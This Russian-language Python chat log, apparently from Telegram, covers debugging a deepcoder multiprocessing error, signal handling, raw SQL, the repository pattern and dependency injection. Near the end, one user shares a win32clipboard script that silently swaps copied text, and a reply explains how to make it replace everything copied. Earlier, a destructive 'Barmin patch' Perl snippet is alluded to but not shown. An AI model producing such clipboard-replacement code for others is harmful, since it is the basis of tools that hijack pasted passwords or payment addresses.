Pavel
права к каталогу?
ну вот если бы кое-кто принес полный трейсбэк, мы б может и угадали
Tishka17
А лучше ещё с запасом пару строк перед ошибкой
Вэ
Pavel
...
Вэ
А лучше ещё с запасом пару строк перед ошибкой
Дорогие проффесионалы! Кидайсте помидорами! Пытаюсь запустить прогу с гит хаба! https://github.com/dkamm/deepcoder Застрял на 5м пункте в описании проекта! Выдачет ошибку "PermissionError: [WinError 5] ▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒" Помогите запустить! чутчуть осталось! Готов заплатить за помошь в реализации!
Вэ
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 60, in dump ForkingPickler(file, protocol).dump(obj) _pickle.PicklingError: Can't pickle <function <lambda> at 0x0000000003ACDBF8>: attribute lookup <lambda> on deepcoder.dsl.impl failed Traceback (most recent call last): File "<string>", line 1, in <module> File "H:\Programs\python3.7.3\python3\lib\multiprocessing\spawn.py", line 99, in spawn_main new_handle = reduction.steal_handle(parent_pid, pipe_handle) File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 87, in steal_handle _winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE) PermissionError: [WinError 5] ▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒
Tishka17
Так cant pickle lambda или permission error?
Tishka17
+
Tishka17
Ну лямбда и на Линуксе не будет пиклиться
Alexey
А есть чат по Django?
std::mpa 🇺🇦
Alexey
@pydjango
Спасибо
Вэ
Ты вообще уверен что скрипт рабочий?
Неуверен но надеюсь на это
Кирилл [МСК-2]
Добрый день Проблема с обработкой сигналов в python Я написал хэндлер - exit_graceful: signal.signal(signal.SIGTERM, exit_graceful) Так же в коде в некоторых местах try-except стоит Когда посылаю ему kill -15, то он вызывает хэндлер, но после выполнения хэндлера вываливается в соответствующий except блок
Кирилл [МСК-2]
В хэндлере есть sys.exit(0)
Anonymous
Чуваки, сорян чутка за оффтоп, перл кто-то помнит? А то меня аж заинтересовало, что в теории делает вот эта хуня?
Andrey
Патч бармина?
Andrey
Под рутом запускал?
Anonymous
Да не.
Andrey
Зря, очень зря.
Anonymous
Да это ж не он
Andrey
Ну, это не значит что результат будет другой
Алексей
Есть какая-нибудь тулза, которая может проанализировать код и показать какие raise не перехватываются?
🍁 Jaŭhien
Ненавижу исключения
Tishka17
Ненавижу исключения
@gogolang тебе туда
Yehor
Кто-то использует чистый SQL вместе Flask/Django?
Maxim
эм
Maxim
вопрос поставлен некорректно, но я, случается, использую
Алексей
Найдешь, расскажи
Походу тут скорее "напишешь, сообщи".
Tishka17
Gennady
Кто-то использует чистый SQL вместе Flask/Django?
Все рано или поздно начинают это делать.
Tishka17
Иногда и не sql
Yehor
Во, а теперь конкретика. Как организуете получение данных? Repository Pattern или что-то другое?
Tishka17
Да, я предпочитаю репозитрий
Yehor
Yehor
Гугл не выдаёт того что нужно
Алексей
Ненавижу исключения
Зря. Как ещё сделать return из yield, или не городить return (status, result)?
Tishka17
Гугл не выдаёт того что нужно
А в чем собственно вопрос?
Yehor
Не. Нету :(
Я вот думаю использовать его вместе с flask-inject, чтобы прокидывать сервис/репозиторий в class-based views
@
Кто-то есть с львовского политеха?
You
Лол
Tishka17
Очередной di framework?
Pavel
Кто-то есть с львовского политеха?
предлагаешь собрать рейд на препода?
Yehor
Первый раз слышу про flask-inject.
https://github.com/alecthomas/flask_injector
Forevka ÐΞV
Yehor
И как?)
Шарага)
🍁 Jaŭhien
Зря. Как ещё сделать return из yield, или не городить return (status, result)?
Один умный человек как-то сказал что исключения не лучше чем goto, чем больше программирую - тем яснее понимаю как он был прав
Tishka17
https://github.com/alecthomas/flask_injector
Ух, не. Не люблю такое.
Tishka17
Проще руками фабрику всего написать
Tishka17
Заюзаешь такой инструмент, потом хрен выпилишь
Tishka17
И они провоцируют в класс внедрять информацию о том, как именно создавать инстансы, хотя это не их дело
vodichka
почему программа не реагирует на команду -h if ("--help" or "-h") in sys.argv:
Tishka17
Пример можно?
def create_repo(config): return Repo(...)
Tishka17
def add_routes(app, repo): app.add_route("/", MyView.as_view(), repo)
Tishka17
Yehor
Спасибо)
Tishka17
Пока проект небольшой лучше так
Tishka17
Когда граф зависимостей классов станет большой просто заменишь такую фабрику на какой-нибудь фреймворк
Tishka17
Все классы не должны заметить
Egor
А для управления архивом фотографий с их бэкапированием что-то есть на python?
Chubarik
Короче скрипт меняет знаки при копировании pwd на random можно ли сделать чтобы любые знаки при копировании менялись на другие а не только те что в кавычках ? '''import win32clipboard import time import threading pwd = "12345678" random = "87654321" def game(): while True: win32clipboard.OpenClipboard() if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0: clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT) if clip_data == pwd: win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(random, win32clipboard.CF_UNICODETEXT) win32clipboard.CloseClipboard() time.sleep(0.25) game = threading.Thread(target=game) game.start()'''
Tishka17
Что значит "про копировании pwd на random"?
Tishka17
И что значит "любые"?
Chubarik
Что значит "про копировании pwd на random"?
короче меняет символыесли яскопирую например 7654321 на 1234567 но я хочу чтобы всё что я копировал менялось на 1234567
Максим
просто убери строчку if clip_data == pwd: